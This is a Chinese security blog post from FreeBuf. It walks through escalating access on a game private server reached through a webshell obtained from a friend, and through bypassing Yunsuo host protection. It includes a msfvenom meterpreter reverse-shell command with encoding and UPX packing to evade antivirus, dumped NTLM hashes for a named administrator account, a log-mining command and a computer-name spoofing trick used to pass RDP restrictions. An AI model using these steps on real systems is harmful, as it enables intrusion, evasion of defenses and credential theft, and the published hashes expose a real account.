严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
前言
朋友给我了我一个游戏私服的shell,说是提权不下服务器,让我帮忙看看。本文仅为大家提供一个思路,这个方法可能很多人知道但是并没有公布到网络。我今天写出来只是为了让小白们少走一点弯路,开拓一下思路,还请大牛勿喷。
请注意:本次测试已经通知管理员并已帮助其修复漏洞!
背景
朋友给我了我一个游戏私服的shell,说是提权不下服务器,让我帮忙看看。
无形之锁
连接上shell以后执行whoami:
一看2008的服务器,直接就是system权限,心里还想着这有什么不好提的。当然既然朋友说提不下,肯定没有那么简单。
执行tasklist /svc 查看运行中的任务列表:
发现有云锁。
执行net user查看系统用户:
发现云锁禁用了net。
老司机都知道,如果是安全狗就好办,只要是默认的设置,找个可读可写可执行的目录上传一个net.exe即可。但是云锁在这方面要比安全狗高明一点,你无论传到哪个目录都是不可以被执行的。本着严谨求实的态度,我还是传一下试试:
不出所料,换思路。
撬“锁”之路
其实net被禁用了没有关系,毕竟咱们是system权限,可以直接把管理员的账号密码给读取出来。
云锁终究是服务器防护软件,兼有杀毒的功能,如果是默认设置,getpassword的exp在执行过程中会被拦截。
本着严谨求实的态度,我还是读一下试试:
果然一片空白。
但是毕竟云锁可能更偏重于web应用的防护,对于可执行文件的杀毒效果远远不如360卫士之类。我们可以用msf多次编码并且加壳生成一个相对免杀云锁的后门。
具体的免杀思路我就不再赘述,freebuf以前发过类似的文章。我在这里执行的命令如下:
msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcpLHOST=xxxxx LPORT=xxxx -e x86/shikata_ga_nai -i 5 -f exe > /root/testtest.exe
然后用upx加个壳:
upx -6 /root/testtest.exe
传到目标服务器上,执行。
然后开始在msf上监听:
用msf执行下命令:
确认是目标机。
反弹出来照样调用不了net。
上hashdump:
结果如下:
wuhuijun:500:aad3b435b51404eeaad3b435b51404ee:5eb5f692224005cfd316b84f7d459d06:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
看来管理员名称为:wuhuijun。
解密hash:
密码到手。
然后就开开心心去连接mstsc。
远程端口是默认的3389:
看到这个界面,心里一阵激动。
然而事情并没有那么简单。
对方设置了计算机名限制。可能很多人到这里就会被卡住放弃。
因为如果是安全狗的话大家都知道去替换他保存计算机名的配置文件,但是云锁的话并没有这个操作。
重点思路就在这里:
因为我们毕竟已经是system权限了,我们除了关闭云锁几乎无所不能;
那么我们只要想办法弄到管理员登录的计算机名就可以了。
Windows上以文本形式输出用户登录日志 (100条数目作为数量限制)的命令如下:
wevtutil.exe qe security "/q:*[System [(EventID=4624)]]"/f:text /rd:true /c:100 > c:\sys.txt
导出后然后保存到本地查看。
远程登录的类型为3,我们只需要查找类型为3的日志:
可以看到,允许远程登录的计算机名为PC-20180525EFUP。
接下来就是修改本地计算机名:
保存重启电脑,然后去连接服务器。
成功登录:
总结
其实思路并不难,兵来将挡水来土掩,学会把手中的权限利用到极致。
本次测试仅仅作为学习,漏洞已经提交给管理员,请勿用于非法用途,所产生的一切后果与作者无关。文章如果有问题,欢迎大家及时指正,如果有什么新的想法也欢迎与我交流!
*本文作者:道恩先生666,转载请注明来自FreeBuf.COM